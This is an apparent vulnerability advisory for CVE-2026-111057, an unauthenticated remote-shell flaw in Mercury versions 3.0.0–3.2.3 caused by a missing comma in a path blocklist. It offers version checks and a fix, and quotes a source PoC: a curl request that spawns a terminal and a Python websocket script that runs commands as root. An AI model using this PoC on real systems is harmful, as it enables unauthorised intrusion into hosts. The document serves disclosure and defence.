---
id: "CVE-2026-111057"
kind: "vulnerability"
aliases: ["CVE-2026-111057", "GHSA-f8c7-rwf9-fmgm"]
title: "Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass"
severity: "critical"
cvss: 10.0
epss: 0.004430000204592943
exploited: false
status: "open"
category: "ai-tooling"
products: [{"name": "mercury", "fixed": ["3.2.4"], "affected": ">= 3.0.0, <= 3.2.3", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ai-tooling", "cwe-185", "cwe-284", "docker", "jupyter", "mercury", "python", "self-hosted"]
not_affected_if: ["auth-required", "default-config", "managed-hosting"]
published_at: "2026-10-19T16:17:03+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:18+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-f8c7-rwf9-fmgm", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111057", "first_seen_at": "2026-10-23T21:57:18+00:00"}]
---

# Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass

Mercury (a Python notebook/app server built on Jupyter) has a missing comma in its request blocklist, so /api/terminals is not blocked. An unauthenticated network attacker can open a terminal and get an interactive root shell on the host.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:mercury affected >= 3.0.0, <= 3.2.3 fixed 3.2.4

## How to check

Check the installed version: pip show mercury; affected if 3.0.0 through 3.2.3. Look for BLOCKED_PATTERNS in mercury_app/block_handler.py and see whether '/api/terminals' sits on its own line with a trailing comma.
Test from another machine: curl -i -X POST http://<host>:8888/api/terminals (a JSON response with a 'name' field means exposed).

## Fix

Upgrade the mercury package to 3.2.4 or later.
Until then, block /api/terminals and /terminals at the reverse proxy or firewall, and do not expose the port publicly.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-f8c7-rwf9-fmgm
- 2026-10-23T21:57:18+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-111057

## From the sources

### Summary
A missing comma in `mercury_app/block_handler.py`'s `BLOCKED_PATTERNS` list causes the blocklist to fail to cover the `/api/terminals` endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

### Details
The blocklist in `mercury_app/block_handler.py` is defined as:
```
BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]
```
The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.`*`)?/api/terminals(?:/.`*`)? (the first two lines joined together)
/api/shutdown(?:/.`*`)?
/files(?:/.`*`)?

A direct request to `/api/terminals` does not match any of the 3 blocklist rules and is therefore **not blocked**, reaching Jupyter
Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

### PoC
Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default
configuration.
 
**Step 1 - spawn a terminal:**


```
curl -i -X POST http://localhost:8888/api/terminals
```
Response: `{"name": "1", "last_activity": "..."}`

**Step 2 - connect to the terminal and execute commands:**


```
python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"
```


Observed output:

```
["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]
```


Confirms full, interactive root shell access with no authentication or prior access of any kind.


### Impact
- **Confidentiality:** full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
- **Integrity:** attacker can modify or delete any file, including notebooks served to other users.
- **Availability:** attacker can shut down or crash the server/container.
- **Lateral movement:** the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

### Fix
Add the missing comma so `/api/terminals` becomes an independent blocklist rule:
```
BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]
```

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_